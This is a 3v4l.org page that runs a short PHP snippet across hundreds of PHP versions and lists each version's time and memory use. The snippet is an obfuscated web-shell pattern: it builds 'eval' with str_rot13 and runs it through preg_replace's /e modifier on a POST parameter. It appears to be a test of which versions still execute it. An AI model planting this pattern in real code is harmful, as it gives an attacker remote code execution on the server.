3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); echo '@' . str_rot13('riny') . '($www)'; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00016.63
8.3.50.0160.00618.30
8.3.40.0100.00318.79
8.3.30.0130.00718.67
8.3.20.0040.00420.33
8.3.10.0040.00420.66
8.3.00.0060.00323.53
8.2.180.0140.00716.63
8.2.170.0070.00722.96
8.2.160.0100.00322.16
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0000.00820.69
8.2.120.0070.00026.35
8.2.110.0030.00620.38
8.2.100.0070.00417.84
8.2.90.0050.00219.20
8.2.80.0030.00917.97
8.2.70.0030.00617.63
8.2.60.0040.00418.16
8.2.50.0040.00418.09
8.2.40.0040.00421.96
8.2.30.0080.00019.56
8.2.20.0040.00417.74
8.2.10.0040.00418.13
8.2.00.0000.00718.11
8.1.280.0090.00625.92
8.1.270.0150.00622.21
8.1.260.0070.00028.09
8.1.250.0030.00528.09
8.1.240.0060.00323.61
8.1.230.0040.00720.88
8.1.220.0000.00817.91
8.1.210.0040.00418.77
8.1.200.0060.00317.48
8.1.190.0040.00417.13
8.1.180.0050.00318.10
8.1.170.0040.00418.71
8.1.160.0040.00420.74
8.1.150.0000.00718.89
8.1.140.0000.00819.51
8.1.130.0000.00817.73
8.1.120.0020.00517.45
8.1.110.0040.00417.44
8.1.100.0070.00017.47
8.1.90.0000.00817.36
8.1.80.0040.00417.33
8.1.70.0070.00017.36
8.1.60.0000.00717.46
8.1.50.0060.00317.48
8.1.40.0000.00917.48
8.1.30.0050.00317.63
8.1.20.0000.00717.47
8.1.10.0000.00817.50
8.1.00.0000.00717.53
8.0.300.0040.00418.77
8.0.290.0080.00016.88
8.0.280.0030.00318.41
8.0.270.0030.00317.13
8.0.260.0000.00717.20
8.0.250.0040.00416.97
8.0.240.0030.00316.96
8.0.230.0000.00717.06
8.0.220.0000.00716.95
8.0.210.0070.00016.92
8.0.200.0030.00316.98
8.0.190.0000.01116.91
8.0.180.0040.00416.98
8.0.170.0080.00016.92
8.0.160.0050.00317.05
8.0.150.0000.00816.85
8.0.140.0030.00316.94
8.0.130.0000.00713.42
8.0.120.0000.00916.81
8.0.110.0000.00716.99
8.0.100.0040.00416.94
8.0.90.0000.00716.87
8.0.80.0120.00317.00
8.0.70.0000.00716.90
8.0.60.0050.00316.91
8.0.50.0000.00716.94
8.0.30.0070.00917.10
8.0.20.0090.01117.40
8.0.10.0020.00517.11
8.0.00.0130.00716.79
7.4.330.0030.00316.78
7.4.320.0060.00016.50
7.4.300.0000.00616.57
7.4.290.0070.00016.52
7.4.280.0040.00416.61
7.4.270.0000.00916.67
7.4.260.0020.00516.43
7.4.250.0000.00716.46
7.4.240.0030.00316.52
7.4.230.0030.00316.48
7.4.220.0030.01316.63
7.4.210.0100.00516.50
7.4.200.0030.00316.40
7.4.160.0040.01516.50
7.4.150.0070.01017.40
7.4.140.0160.00717.86
7.4.130.0120.00716.41
7.4.120.0070.01016.56
7.4.110.0100.00716.32
7.4.100.0120.00916.54
7.4.90.0070.01316.57
7.4.80.0140.00319.39
7.4.70.0100.00616.68
7.4.60.0130.01016.40
7.4.50.0100.00716.74
7.4.40.0040.01216.50
7.4.30.0090.00916.51
7.4.00.0030.01015.12
7.3.330.0040.00413.33
7.3.320.0050.00013.19
7.3.310.0030.00316.54
7.3.300.0030.00316.17
7.3.290.0000.00716.35
7.3.280.0080.01016.38
7.3.270.0140.00317.40
7.3.260.0100.01316.59
7.3.250.0100.00916.48
7.3.240.0130.00716.50
7.3.230.0110.00616.48
7.3.210.0070.01016.27
7.3.200.0080.00816.42
7.3.190.0040.01316.37
7.3.180.0130.00316.34
7.3.170.0130.01016.39
7.3.160.0100.00616.61
7.2.330.0120.01316.86
7.2.320.0070.01016.91
7.2.310.0120.00616.60
7.2.300.0080.00816.88
7.2.290.0040.02316.55
7.2.60.0060.00617.16
7.2.00.0030.00919.42
7.1.200.0000.01215.97
7.1.100.0070.00718.37
7.1.70.0000.00717.36
7.1.60.0070.01719.40
7.1.50.0070.01416.90
7.1.00.0030.07722.29
7.0.200.0480.00314.62
7.0.60.0400.06719.92
7.0.50.0100.03717.82
7.0.40.0070.05020.08
7.0.30.0170.05020.14
7.0.20.0300.04020.21
7.0.10.0070.05320.05
7.0.00.0170.08020.34
5.6.280.0000.07021.13
5.6.210.0100.05720.75
5.6.200.0100.05018.12
5.6.190.0070.04320.39
5.6.180.0030.07720.46
5.6.170.0330.04020.45
5.6.160.0000.06020.46
5.6.150.0100.07018.17
5.6.140.0070.08018.15
5.6.130.0000.07318.18
5.6.120.0070.04320.99
5.6.110.0070.08021.13
5.6.100.0370.05021.13
5.6.90.0100.06720.96
5.6.80.0130.07320.53
5.5.350.0030.03720.43
5.5.340.0100.04717.93
5.5.330.0100.08720.37
5.5.320.0670.04720.24
5.5.310.0330.08020.18
5.5.300.0030.04717.95
5.5.290.0100.03317.98
5.5.280.0030.05320.79
5.5.270.0100.08020.82
5.5.260.0100.05020.82
5.5.250.0100.08020.68
5.5.240.0370.06720.15

preferences:
46.23 ms | 401 KiB | 5 Q